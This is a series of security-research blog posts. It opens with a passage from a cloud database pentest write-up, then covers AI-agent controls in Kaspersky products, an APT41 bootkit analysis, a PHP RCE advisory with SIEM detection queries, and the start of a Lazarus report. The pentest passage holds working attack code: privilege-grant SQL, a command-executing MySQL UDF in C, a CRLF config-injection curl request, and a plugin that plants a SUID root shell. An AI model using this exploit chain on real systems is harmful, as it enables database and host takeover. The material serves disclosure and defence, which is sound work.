    References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
    ssl_cipher blob NOT NULL,
    x509_issuer blob NOT NULL,
    x509_subject blob NOT NULL,
    max_questions int unsigned NOT NULL DEFAULT 0,
    max_updates int unsigned NOT NULL DEFAULT 0,
    max_connections int unsigned NOT NULL DEFAULT 0,
    max_user_connections int unsigned NOT NULL DEFAULT 0,
    plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
    authentication_string text,
    password_expired enum('N','Y') NOT NULL DEFAULT 'N',
    password_last_changed timestamp NULL DEFAULT NULL,
    password_lifetime smallint unsigned DEFAULT NULL,
    account_locked enum('N','Y') NOT NULL DEFAULT 'N',
    Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Password_reuse_history smallint unsigned DEFAULT NULL,
    Password_reuse_time smallint unsigned DEFAULT NULL,
    Password_require_current enum('N','Y') DEFAULT NULL,
    User_attributes json DEFAULT NULL,
    PRIMARY KEY (Host, User)
  ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:

INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
FLUSH PRIVILEGES;

Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

typedef unsigned long long udf_args_type;

typedef struct {
 unsigned int arg_count;
 unsigned int *arg_type;
 char **args;
 unsigned long *lengths;
 char *maybe_null;
 char **attributes;
 unsigned long *attribute_lengths;
 void *extension;
} UDF_ARGS;

typedef struct {
 char maybe_null;
 unsigned int decimals;
 unsigned long max_length;
 char *ptr;
 char const_item;
 void *extension;
} UDF_INIT;

int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
 if (args->arg_count != 1) {
     strcpy(message, "sys_eval requires one argument");
     return 1;
 }
 initid->max_length = 65535;
 return 0;
}

void sys_eval_deinit(UDF_INIT *initid) {}

char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
            unsigned long *length, char *is_null, char *error) {
 if (!args->args[0]) { *is_null = 1; return NULL; }
 char cmd[65535];
 snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
 FILE *pipe = popen(cmd, "r");
 if (!pipe) { *is_null = 1; return NULL; }
 static char buf[65535];
 size_t total = 0;
 while (total < sizeof(buf)-1) {
     size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
     if (n == 0) break;
     total += n;
 }
 pclose(pipe);
 buf[total] = '\0';
 *length = total;
 return buf;
}

RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:

curl -s -X PATCH "https://somecloud/api/dbaas/id" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'

This vector made it possible to inject line breaks and override critical configuration parameters:

default-time-zone="+00:00
secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access.
plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.

With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:

SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so

We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';

Result of executing id via MySQL UDF

Result of executing id via MySQL UDF

The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:

#include <stdlib.h>
__attribute__((constructor)) static void init(void) {
  system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash");
}

We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.

Conclusion

The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.

  •  

Deploying AI agents securely: how Kaspersky products mitigate AI threats

Introduction

AI agents and associated tooling are becoming increasingly common in corporate infrastructure. Agents can perform a range of actions with the user’s privileges, such as accessing data, running commands, and interacting with external services. This creates new security risks, especially when these tools are used without the security team’s oversight or well-designed policies.

Detecting, tracking, and controlling AI agents is becoming one of the most pressing tasks for security teams today. We closely follow technological developments and continuously update our solutions to respond to new threats in a timely manner amid a rapidly changing technology landscape. This post describes new expertise built into Kaspersky products that helps counter the threats posed by the proliferation of AI agents. We approach this problem from several angles.

First, you need to thoroughly understand the threat you are dealing with. To this end, we added profiles to the Kaspersky Threat Intelligence Portal that describe various AI agents and how attackers exploit them. At their core, AI agents are programs (processes) that run in the operating system on endpoints and can also launch other processes. This means that Endpoint Detection and Response solutions are among the key endpoint controls for this threat. These solutions detect the presence and launch of AI agents, track their activity, and identify potentially dangerous behavior. When needed, they also take action, such as stopping a suspicious process, blocking the activity, or isolating the host, to reduce the likelihood of an incident escalating. For this purpose, we developed specially adapted detection rules.

You can use Kaspersky Endpoint Security, now also available as Kaspersky Next, to control and restrict the launch of AI agents. This solution uses two components to detect AI agents and control how they are used. Application Control categorizes the application processes launched on endpoints, and Web Control manages access to specific categories of web resources for users on endpoints.

Finally, even harmless AI agents can contain malicious instructions (skills), such as those downloaded from unsafe external sources. Kaspersky Scan Engine analyzes installed applications to detect these threats and also checks LLM files for malicious code. Let’s take a closer look at these solutions and technologies.

Popular AI applications and services in organizations

Tools from Anthropic and OpenAI take the top spots in the September 2026 ranking of AI agents by popularity among Kaspersky users. This list is based on telemetry from Kaspersky solutions. It shows the number of users who had the relevant AI vendors’ products installed at the time of the study.

# AI product
1 Claude
2 Claude Code
3 Codex
4 OpenCode
5 Zed
6 Wispr Flow
7 LM Studio
8 ZCode
9 Chatbox
10 Cherry Studio

The data shows that agentic systems, especially AI agents for software development, are the most popular AI applications. The TOP 10 also includes an application for running large language models locally (LM Studio) and a voice note-taking app (Wispr Flow).

According to open sources, these are the most widely used AI services in 2026:

# AI service
1 ChatGPT
2 Google Gemini
3 Claude
4 Grammarly
5 DeepSeek

While analyzing the most popular and widely used apps, our experts also noticed a sharp rise in vulnerable versions of AI-related software and services. From 2025 to date, more than 2500 vulnerabilities have been published:

Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)

* Data for previous quarters was updated and may differ slightly from previously published data.

Application Control and Web Control

To enforce the organization’s security policy for AI agents and other AI applications on the corporate network, Kaspersky products offer application control based on KL categories. These categories classify installed software and give you granular control over which approved applications can run in the organization.

Application Control analyzes the processes launched on endpoints, tracking which AI agents are running in corporate systems at any given moment, on which hosts, and under which accounts. Application Control also shows how long a given program has been in use.

This makes it easier for the Kaspersky Security Center (KSC) administrator to control applications. Administrators can use KL categories to allow or block AI agents inside the company for specific groups of employees.

Here is what this functionality looks like to KSC administrators:

KL categories available when configuring Application Control

KL categories available when configuring Application Control

For details on how to configure Application Control in KSC, follow this link.

In Kaspersky Endpoint Security (KES), Application Control can operate in two modes:

  • Denylist. In this mode, Application Control lets users run any applications except those blocked by Application Control rules. This is the default mode.
  • Allowlist. In this mode, Application Control blocks users from running any applications except those explicitly allowed by Application Control rules.

Below are the steps to configure Application Control to block AI tools.

Configuring Application Control for the AI Tools category in KES
Configuring Application Control for the AI Tools category in KES

Configuring Application Control for the AI Tools category in KES

With this setup, when a user tries to launch an AI agent, they get a notification and the agent doesn’t start.

KES notification about an attempt to launch an AI agent

KES notification about an attempt to launch an AI agent

For more on how to configure Application Control in KES, follow this link. Our public portal also lets you explore information on KL categories and the applications that fall under them, in particular details on how AI agents are categorized and how popular they are.

AI Tools KL category

AI Tools KL category

The View applications drop-down list shows products for a specific vendor.

Similarly, Web Control lets you manage user access to web resources. If a user tries to open a denylisted website, KES blocks access and shows a warning.

KES notification about an attempt to access a prohibited web resource

KES notification about an attempt to access a prohibited web resource

When configuring access, the administrator can block websites that provide AI as a service.

Website categories

Website categories

For more on configuring Web Control, follow this link. The help portal also provides information on website categories that can be assigned to resources to configure access control.

Kaspersky Endpoint Detection and Response

To an EDR solution, an AI agent is a regular process. It has its own executable, a tree of child processes, and network communications, all of which need to be monitored for suspicious activity. An attacker can use an AI agent as an automation tool. An AI agent installed as a legitimate user tool can also be leveraged in a ClickFix attack, where it executes a malicious instruction received from an untrusted source, such as a document, web page, or email. That said, unsafe actions by an agent do not always indicate an attack. There may be no malicious intent in the chain at all. An incident can result from what looks like an ordinary instruction from a user who doesn’t fully understand the consequences of having it executed. The mere fact that an agent was launched does not reveal whether it is being used in an attack. That is why Kaspersky EDR (KEDR) uses both conventional behavioral rules and rules written and adapted to detect AI tools. The latter identify risky agent actions and settings, and help determine which AI tool was involved in suspicious activity.

Conventional KEDR rules detect the vast majority of familiar malicious techniques, including when performed by an AI agent. A suspicious PowerShell launch, persistence via Task Scheduler, or an attempt to steal credentials leaves clear, identifiable traces. These traces look the same no matter what initiated the actions. The rules analyze launch parameters, process relationships, affected files, network activity, and other telemetry events.

For example, in a recent Armored Likho campaign, we found signs that AI had been used to create loader and dropper samples, which were later compiled with NSIS (Nullsoft Scriptable Install System). The key telltale artifacts were icons in the scripts and excessive comments on every function, which is uncharacteristic of human-written code. In addition, the group continues to generate new modules for its BusySnake Stealer and BusySnake RAT samples. For example, the attackers used AI to develop a module that runs multiple checks for virtual environment artifacts and calculates a score. Depending on the score, the sample either runs or exits with code 0. Even though the initial access samples, payloads, and their modules were AI-generated, the commands they execute via rundll32 and PowerShell are detected by the shell_creation_by_rundll32 and suspicious_powershell_cmd_or_script_spawning rules.

So, for detecting an attack like this, it is not important who wrote the loader, the payload, or its modules: they are given away by the commands they execute, process relationships, and other traces of activity in the system. AI can be involved both in preparing the code and in carrying out the attack directly on the device.

In the latter case, the attacker uses the agent to carry out their tasks and lets it choose and run the required commands within the privileges it has. For effective protection, it is critical to link suspicious actions back to the AI tool and the conditions under which it operates. In KEDR, several specialized rules handle this task.

We have created separate rules for popular AI agents, ai_agent_*_access_to_sensitive_file_**, where * is the tool name and ** is the operating system. They generate alerts when an agent accesses files that contain credentials, tokens, or keys.

The ai_agent_dangerous_execution_mode rule detects agents launched with auto-approval of all actions (so-called YOLO mode) or with the sandbox disabled. These settings do not indicate an attack on their own, but they let the agent perform dangerous actions without user confirmation.

ai_agent_dangerous_execution_mode

The suspicious_mcp_server_artifact rule triggers when MCP server scripts are created or modified in hidden, temporary, or cache directories. Attackers can place an MCP server in these locations to quietly connect it to the agent: through the MCP server, they can pass instructions to the agent, call third-party tools, and access the user’s data.

suspicious_mcp_server_artifact

The llm_api_access_by_unusual_apps rule generates an alert when an application on Windows, Linux, or macOS connects to the API of a known external LLM service, unless this activity falls under predefined exclusions. This helps spot model access by applications that do not normally behave this way.

llm_api_access_by_unusual_apps

Some Kaspersky EDR rules tag events for investigation but do not generate alerts. For example, the ai_agent_**_execution rules flag launches of known agents on Windows, Linux, and macOS. The local_ai_model_artifact rule records the creation or modification of AI model files in typical application, runtime, and cache directories. These events reveal AI tools on the device, including tools that run on local models and never call an external API.

local_ai_model_artifact

Kaspersky Threat Intelligence Portal

AI agent profiles

The Kaspersky Threat Intelligence Portal offers a large number of software profiles, including profiles of AI agents. You can sort them by the ai_ prefix:

AI agent profiles on Kaspersky TIP

AI agent profiles on Kaspersky TIP

The profile of an AI agent such as Claude Desktop includes a detailed description of the software, the privilege level required to run it, supported platforms, and threat actor groups known to use it. It also lists tactics and techniques mapped to the MITRE ATT&CK framework, with descriptions of the procedures the tool can be used for.

Claude profile on Kaspersky TIP

Claude profile on Kaspersky TIP

The description also lists ways to detect the software through standard system auditing mechanisms:

  • Windows: events from standard audit logs and Sysmon events
  • Linux: syscall audit events and Sysmon events
  • Network auditing: a set of protocols and the traffic generated by the software

The detection section lists the main artifacts the software leaves in the system: command lines, possible launch parameters, names of the services and scheduled tasks it creates, and the key network artifacts.

Detection section in the Claude profile

Detection section in the Claude profile

Hunt Hub

In December 2025, the Kaspersky Threat Intelligence Portal added Hunt Hub (HH), a repository of detection rules. This is a unique Kaspersky project, and we developed it in response to growing market demand.

This functionality is available in the Threat Landscape section of the portal. It gives analysts access to detection rules: their descriptions and their mapping to MITRE ATT&CK tactics and techniques, as well as to the associated cybercriminal groups.

In the Hunt Hub section, customers can explore the detection logic of EDR, NDR, and NGFW products, including the logic for detecting AI agents.

Rules in the Hunt Hub repository

Rules in the Hunt Hub repository

The rule card provides:

  • Detailed description
  • Rule’s severity level, confidence level, and alert format
  • Detection tips
  • Description of possible false positives
  • Platforms the rule can run on
  • Tactics, techniques, and sub-techniques covered by the rule
  • Groups that use the technique covered by the rule
  • Detection logic that shows what exactly triggers the rule
Detection rule card in Hunt Hub

Detection rule card in Hunt Hub

Kaspersky Scan Engine

Skills are a key component of the AI agent ecosystem. They’re prewritten sets of natural-language instructions that extend agent functionality. We previously covered the risks that malicious skills pose to agent users. A skill can require the usage of additional programs and services, come with helper scripts (for example, written in Python), or contain a malicious command embedded right in the instruction text. This means that adding skills to an originally harmless AI agent opens up several new ways for malicious code to enter the system. To prevent this, any skills obtained from external sources must be scanned. Kaspersky Scan Engine is well suited for this task. This is a cyberthreat detection and response solution that seamlessly integrates with various applications. It can detect malicious code in agent skills, associated scripts, and in files generated by running agents.

Detection of a malicious agent skill in Kaspersky Scan Engine

Detection of a malicious agent skill in Kaspersky Scan Engine


Trained LLMs come in many formats. Some of them (PTH, PT, PKL, KERS, and others) also store parameters and weights (training datasets). These files can also contain malicious code, so it’s critical to scan them before running and using them. Kaspersky Scan Engine scans potentially dangerous LLM formats for infected data. It can deserialize and analyze models to detect malicious code regardless of model size.
Detection of an LLM with malicious code in Kaspersky Scan Engine

Detection of an LLM with malicious code in Kaspersky Scan Engine

Conclusion

AI agents are rapidly making their way into corporate environments: they help employees work faster and take on a wide range of tasks, but they also open up new opportunities for attackers. To take advantage of this technology without compromising security, organizations need to build multi-layered protection and minimize risks. A range of Kaspersky solutions can help with this:

  • Kaspersky TIP keeps you up to date on current scenarios in which attackers use AI agents, and its Hunt Hub section provides rules for detecting suspicious AI agent activity.
  • Kaspersky EDR detects AI agents in the infrastructure and monitors their activity on endpoints. If it detects potentially dangerous actions, the product can log the event, notify the SOC, and take response actions, such as stopping the process or isolating the host.
  • Application Control in Kaspersky products can fully restrict the use of AI agents within the company by using application categorization. The Web Control component can restrict access to AIaaS web resources.
  • Kaspersky Scan Engine can be integrated into various company processes to detect malicious code in any files, including AI agent skills and LLMs.

When companies combine the tools described above in a comprehensive approach, they can adopt AI agents in an informed way: with an understanding of the associated risks and effective means of minimizing them.

  •  

How APT41 revived the BlackLotus bootkit to attack diplomatic organizations in Central Asia

Introduction

Back in October 2022, Kaspersky GReAT was looking into a peculiar advertisement on a hacking forum. A cybercriminal had been advertising a UEFI bootkit, dubbed BlackLotus, that could bypass Secure Boot, for $5,000. Given the low price for such powerful capabilities, the cybersecurity community initially took this advertisement with a grain of salt. As no BlackLotus samples were found in the wild, no one could at the time verify the claims made in the forum post.

BlackLotus advertisement

BlackLotus advertisement

However, about half a year later, in March 2023, ESET confirmed that the BlackLotus advertisement was genuine. The researchers tracked down samples of this bootkit and confirmed that it can indeed bypass Secure Boot through a vulnerability called Baton Drop (CVE-2022-21894). As this vulnerability was still exploitable in 2023, Microsoft had to release multiple security updates to address it.

Since the release of these updates, the BlackLotus bootkit has gone quiet — no publicly known attacks have used it. Yet in early 2026, we discovered a malware sample similar to BlackLotus that was used in an APT campaign in Central Asia. In this report, we share our findings, including new payloads and possible attribution of this campaign.

The return of the infamous bootkit

In early 2026 we identified a complex APT attack targeting diplomatic agencies in Central Asian countries — namely Tajikistan, Uzbekistan, and Turkmenistan. This attack involved a UEFI bootkit that we dubbed BlackX. Having examined it, we found it to be similar to BlackLotus.

Attackers have been deploying BlackX after compromising the victim machine networks and obtaining administrator privileges. To install the bootkit, we observed them dropping the following files:

  • inst.exe, an installer executable
  • PVMDIJGKAX2, an RC4-encrypted extensionless file containing files and strings required for the installation

The installer was launched with the command line C:\ProgramData\Intel\inst.exe PVMDIJGKAX2 Q46F6MDLI3RX2KV1. The last argument here is the RC4 key used for decryption.

Curiously, the file inst.exe does not contain any malicious strings or embedded blobs. All the files needed to install the malicious payload are inside PVMDIJGKAX2, which makes it harder for incident responders to retrieve the bootkit components.

The installer package drops a set of files to both system and UEFI partitions, designed to exploit the Baton Drop vulnerability. We noted that the implementation of the exploit is remarkably similar to the one used in the BlackLotus malware. As with BlackLotus, the goal of the exploit is to install custom Machine Owner Keys (MOK), which allows loading arbitrary EFI files on the target machines to manipulate Secure Boot.

While the vulnerability exploitation chain was implemented very similarly to BlackLotus, we spotted differences between the exploits in BlackLotus and BlackX. That said, the source code of the BlackLotus bootkit has never been published online. This could mean that the attackers behind BlackX either reverse-engineered the BlackLotus bootkit or purchased its source code from cybercriminals. Either way, this is an interesting observation, as we rarely see APT actors borrow ideas or code from cybercrime actors.

Payload launched by the bootkit

The UEFI payload delivered during the Baton Drop exploitation has a classic bootkit goal — to inject a malicious driver into the Windows kernel. This driver differs from the one deployed by BlackLotus and is signed with a certificate belonging to an organization named 温江区明宇网络技术服务工作室 (English: Wenjiang District Mingyu Network Technology Service Studio). At the time of writing, this certificate (serial number: 0bcdf5e0da32d68900b8b7638459d072) has been revoked by its issuer.

The driver aims to tamper with security solutions installed on the machine. For example, it disables process, thread, and registry callbacks related to security solutions. It also tampers with ETW providers so that security solutions cannot access their output. Curiously, some of the tampering procedures are designed to run only if Kaspersky or Avast solutions are installed on the infected machine. However, during dynamic analysis of this driver, we found that these procedures are useless — they fail to interfere with Kaspersky products in any way.

The driver also protects the bootkit’s files from tampering. It intercepts kernel requests to open these files and returns a handle to calc.exe instead of a malicious file handle.

User-mode second-stage payloads

Apart from tampering with security solutions, the driver also deploys a user-mode payload. We observed two such payloads, used for cyberespionage, in the wild. One of them is a RAT that can load further-stage .NET payloads. This RAT uses cloud storage for C2 server communications — we observed its versions using Google Drive, OneDrive, and Yandex.Disk. Having connected to a cloud storage service, this RAT iterates over files available there and interprets them depending on the file suffix. Below is a list of supported suffixes:

File suffix Description Type
0X01 A .NET file. The task is to parse it and run the method TEST.Class1.RunCMD(argument_array) from the module Input
0X02 Result of the call TEST.Class1.RunCMD(argument_array) Output
0X03 Task to upload a file to the drive Input
0X04 Uploaded file Output
0X05 Task to download a file to an infected machine Input
0X06 File download status Output
SSSR Contains initial system info Output

We also observed another payload delivered through the bootkit, which we dubbed OxiDLLRunner. It is a malicious DLL obfuscated with OLLVM. It is loaded by the legitimate file googleupdate.exe (original filename: jcef_helper.exe, MD5: AF8A983B9ADA07EAE1259BF2953ABD40), which is also delivered by the bootkit. The DLL decrypts the contents of the file v8_context_snapshot.bin, which resides in the same folder, and then jumps to the beginning of the decrypted content. The decrypted data starts with shellcode followed by a PE file, which is a Rust payload designed to communicate with the www[.]archivetj[.]com C2 server. During communication, this payload is supposed to receive DLL files exporting a function named create_plugin, which are then executed in separate threads.

Attribution

Based on the following facts, we have attributed this attack to the APT41 threat actor with medium confidence:

  • In June 2026, ESET published a blog post on attacks by the FishMonger threat actor, which the community assumes to be related to APT41. This post describes a kernel implant with a PDB path starting with C:\Users\xdd\Desktop. While describing the campaign, the post also suggests the possible use of an unspecified UEFI bootkit component, which might exploit CVE‑2023‑24932. We observed the identifier “xdd” used multiple times in the BlackX bootkit payloads, so we assess that BlackX is the UEFI bootkit referenced in the ESET blog post;
  • The payloads deployed by BlackX are loaded using a legitimate executable abused via DLL sideloading, and an encrypted file — this pattern is common among Chinese-speaking threat actors;
  • The OxiDLLRunner file has been obfuscated with OLLVM, an obfuscator commonly used by Chinese-speaking actors.

Why did the target organizations get infected?

During our initial analysis of BlackX, we thought that attackers succeeded in deploying it due to the negligence of the target organizations. Baton Drop, the vulnerability used to deploy BlackX, was disclosed back in 2023 and was patched, so we first thought that the infected machines lacked the relevant updates. However, our investigation proved this wrong — the targeted machines were fully patched.

Instead, we found out that the problem was with the patch itself. As it turned out, the patch for the Baton Drop vulnerability is designed to revoke the “Windows Production PCA 2011” certificate used to sign vulnerable UEFI components. However, this revocation does not happen automatically upon patch installation — the user has to trigger it manually. This is done with the following steps:

  • A registry flag is set inside HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secureboot;
  • A scheduled task named Secure-Boot-Update is created.

This patch is designed to be applied manually — for instance, applying it automatically could break dual-boot systems relying on the “Windows Production PCA 2011” certificate to load. At the same time, this patch deployment practice creates a problem — as it is extremely unusual for a system administrator to take extra steps after installing an update. Usually, when applying patches, system administrators take no further action unless an installation failure occurs. These instructions for activating the patch are buried deep on the Microsoft website, and we assess that they are quite hard for an average IT administrator to notice.

Curiously, Microsoft’s plan for deploying the Baton Drop patches mentions an “Enforcement Phase” that involves revoking the “Windows Production PCA 2011” certificate automatically, without user interaction. At the time of publishing this post, this stage has not been implemented. On October 19, 2026, this certificate expired, but this does not prevent the vulnerable binaries from loading unless the certificate is blocklisted.

It is likely that the threat actor behind this campaign took into account that few organizations realized the importance of manually activating the Baton Drop patch. As such, we believe they decided to invest time in understanding how BlackLotus works and creating a copycat of this bootkit.

Conclusion

Patch management is important for every organization, as updates from vendors help protect software and hardware against known vulnerabilities. However, sometimes installed patches fail to protect against the flaws they address. The BlackLotus story we described is not the only such example — for instance, in 2025 Microsoft released an update against the ToolShell vulnerability that also had to be applied manually.

However, modern security solutions are designed to account for such cases when installed patches fail to protect against security flaws for one reason or another. For instance, the Exploit Prevention component available in Kaspersky products prevents exploits from running if the patch is not applied, or if it is a zero-day vulnerability with no available patch. It is thus crucial to equip all machines in an organization with security solutions and constantly monitor the alerts they raise.

  •  

Critical RCE vulnerabilities in PHP (CVE-2026-109618, CVE-2026-109619)

UPD 23.10.2026: added Kaspersky SIEM rules and events for developing custom detection rules or conducting threat hunting.

UPD 22.10.2026: added a description of how the Kaspersky Managed Detection and Response service detects the described malicious activity.

UPD 22.10.2026: added a description of how Kaspersky Vulnerability Management detects vulnerable versions of PHP.

Vulnerability overview

On October 20, 2026, the PHP security team published a preliminary notice regarding an upcoming emergency release that addresses two critical vulnerabilities (both rated 9.2 on the CVSS scale). The patches were released on Wednesday, October 21, 2026, at 14:00 UTC.

The release was expedited after information about the vulnerabilities was leaked to the public before the scheduled embargo was lifted. In a post on Hacker News, a user reported two RCE vulnerabilities in PHP, allegedly affecting all versions starting with PHP 5.4.0.

The vulnerabilities in question are CVE-2026-109618 and CVE-2026-109619. Shortly after the post appeared, researchers confirmed the existence of the vulnerabilities. Along with the leak of details, an exploit unofficially named PHP2Shell appeared online. In the leaked demo video, the exploit is shown in action on web servers running WordPress, MediaWiki, phpBB, Magento, Joomla, Laravel, Symfony, Drupal, and WHMCS — platforms that power many modern websites. The authenticity of the demonstration and the exact behavior of the exploit had not been independently verified at the time of publication.

According to the researcher who published the PoC, the vulnerabilities are related to the handling of the multipart/form-data MIME type in conjunction with the session upload progress mechanism (session.upload_progress) in the PHP core and fall under the categories of use-after-free and memory corruption. This means that the flaws cannot be fixed via application code, and the only fix is to update PHP on the server. The attack requires no authentication: an attacker with network access to a PHP application can execute arbitrary code with the privileges of the PHP process without needing to authenticate. Security advisories issued by the PHP team on October 21 confirm this information.

The vulnerabilities affect PHP versions 5, 7, and 8. As of this publication, branches 8.2 through 8.5 are supported. Older branches, including PHP 8.1, 8.0, 7.x, and 5.x, have reached the end of their lifecycle; however, due to the critical severity of the vulnerabilities, backported patches have also been released for versions 7.4, 8.0, and 8.1.

Sansec experts estimate that widespread exploitation could begin within 15 minutes of the update’s release. We strongly recommend that administrators responsible for publicly accessible PHP web servers take the following steps before the patch is available:

  1. Take an inventory of all PHP-based systems in your infrastructure (such as web servers, control panels, and third-party software).
  2. Disable upload-progress: set session.upload_progress.enabled = Off using the php_admin_flag in PHP-FPM pools.
  3. Block multipart requests on nginx and Apache servers.
  4. Consider temporarily isolating PHP applications that connect to the Internet until fixes are released.
  5. Be ready to install the patch immediately upon its release.
  6. Plan to migrate servers running unsupported versions (8.1 and earlier) to the latest PHP branch.

Detection by Kaspersky solutions

Kaspersky solutions detect the described malicious activity at various stages of the attack. Possible detection scenarios are listed below.

When an attempt is made to exploit these RCE vulnerabilities, Kaspersky Endpoint Detection and Response promptly alerts the user to suspicious actions performed in the context of a web server, on both Linux and Windows machines. This activity is detected by the following rules:

Detection of the PHP2Shell vulnerability exploit by KEDR

Detection of the PHP2Shell vulnerability exploit by KEDR

Exploitation of the PHP2Shell vulnerability in network traffic is detected by Kaspersky Anti Targeted Attack (KATA). This solution detects such activity with the following verdicts: Exploit.CVE-2026-109618.HTTP.C&C and Exploit.CVE-2026-109619.HTTP.C&C.

Detection of the PHP2Shell vulnerability exploit by KATA

Detection of the PHP2Shell vulnerability exploit by KATA

Kaspersky Endpoint Security, now available as Kaspersky Next, also detects malicious post-exploitation activity using the Behavior Detection component, with verdicts such as PDM:Exploit.Linux.Generic and PDM:Exploit.Win32.Generic.

Our Kaspersky Vulnerability Management solution detects vulnerable software versions using the Vulnerability scanning and Agentless black-box scanning components.

Detection of the PHP vulnerability in Kaspersky Vulnerability Management

Detection of the PHP vulnerability in Kaspersky Vulnerability Management


The Kaspersky Managed Detection and Response service detects the exploitation of the described vulnerabilities by monitoring activity characteristic of RCE:
  • Spawning of suspicious processes by the web server;
  • Creation of suspicious executable files in the web application directory;
  • Creation of suspicious scripts in the web application directory;
  • Creation of files with uncommon extensions in the web application directory;
  • Execution of reconnaissance commands by the web server process;
  • Execution of persistence commands by the web server process;
  • Delivery and launch of web shells on the web server.

Moreover, MDR detects other malicious activity not directly related to remote code execution.

To protect companies that use our Kaspersky SIEM system, the product repository includes rules that help detect the following malicious activity.

  • Execution of suspicious executable files by web server processes on Windows and Linux machines:
    • R300_04_Windows shell started by a web application
    • R152_08_A running Linux shell process has a suspicious parent process
  • Execution of reconnaissance commands by the web server process:
    • R286_05_Possible web-shell (Linux)

We also recommend monitoring the creation of scripts or executable files in the web server directory when developing your own detection rules or conducting threat hunting:

((DeviceEventClassID = '4663' AND DeviceCustomString1 ilike 'WriteData') OR DeviceEventClassID = '11')
AND match(FileName,'(?i).*\.(php|asp|aspx|ashx|jsp|js|jar|jse|dll|exe|bat|ps1|vbs|wsf|wsh|msi|msp|hta|cpl)$')
AND match(DestinationProcessName,'(?i).*(php-cgi|nginx|httpd|w3wp)\.exe')

Name = 'openat' AND has(SA.Nametype, 'CREATE')
AND
length(arrayFilter(x -> match(x, '(public_html|var/www|usr/local/apache2|usr/local/httpd|var/apache|srv/www|home/httpd/html|srv/http|usr/share/nginx/html|var/lib/pgsql/data|usr/local/mysql/data|var/lib/mysql|var/vsftpd|etc/bind|var/named)'), SA.FileName))>1
AND
length(arrayFilter(x -> match(x, '\.(aspx|asp|asmx|asax|ashx|jspx|jsp|js|phpt|php|phtml|pht|cfm|shtml|htaccess|fcgi|cgi|pl|py|sh)'), SA.FileName))>1

  •  

Operation FlashHole: Lazarus breaks security, defies control

In January, we responded to the Lazarus Group’s novel attack campaign against South Korea, which followed last year’s Operation SyncHole. In this new operation, the group employed an updated malware chain that included both their old and new malware, which we disclosed in full, and used another mandatory South Korean security software program as a part of infection chain using a watering‑hole strategy. Notably, the group targeted victims more selectively, sending spear‑phishing emails with links to fabricated but relevant sites, such as portfolio and résumé pages tailored to each target. We dubbed this activity Operation FlashHole.

Operation FlashHole attack flow during initial compromise

Operation FlashHole attack flow during initial compromise

